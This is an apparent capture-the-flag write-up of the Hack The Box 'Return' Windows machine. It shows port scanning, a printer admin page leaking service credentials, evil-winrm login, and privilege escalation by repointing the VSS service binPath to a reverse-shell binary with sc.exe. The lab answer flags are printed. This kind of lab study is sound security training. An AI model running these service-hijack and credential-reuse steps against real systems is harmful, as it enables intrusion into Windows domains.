[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升

2025-02-13 36 0

Information Gathering

IP Address Opening Ports
10.10.11.108 TCP:53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49694,63716,63819,64002,64207

$ ip='10.10.11.108'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT      STATE  SERVICE       VERSION
53/tcp    open   domain        Simple DNS Plus
80/tcp    open   http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-12 09:48:22Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds?
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49671/tcp open   msrpc         Microsoft Windows RPC
49674/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open   msrpc         Microsoft Windows RPC
49679/tcp open   msrpc         Microsoft Windows RPC
49682/tcp open   msrpc         Microsoft Windows RPC
49694/tcp open   msrpc         Microsoft Windows RPC
63716/tcp closed unknown
63819/tcp closed unknown
64002/tcp closed unknown
64207/tcp closed unknown
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

HTB Printer password leak

# echo '10.10.11.108 return.local'>>/etc/hosts

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图

$ feroxbuster -u 'http://return.local'

http://return.local/settings.php

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图1

username:svc-printer
password:1edFg43012!!

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图2

$ evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图3

User.txt

4ecb3465f8852379c83e00e41b74a965

Privilege Escalation:Server Operators sc.exe VSS

*Evil-WinRM* PS C:\Users\svc-printer\Documents> net user svc-printer

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图4

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config vss binPath="C:\Users\svc-printer\Documents\reverse_win_win_x86_64.exe"

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop vss

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start vss

[Meachines] [Easy] Return HTB Printer+Server Operators sc.exe VSS权限提升插图5

Root.txt

a1f1abb04c0ca7e4003fb5794fd4b44


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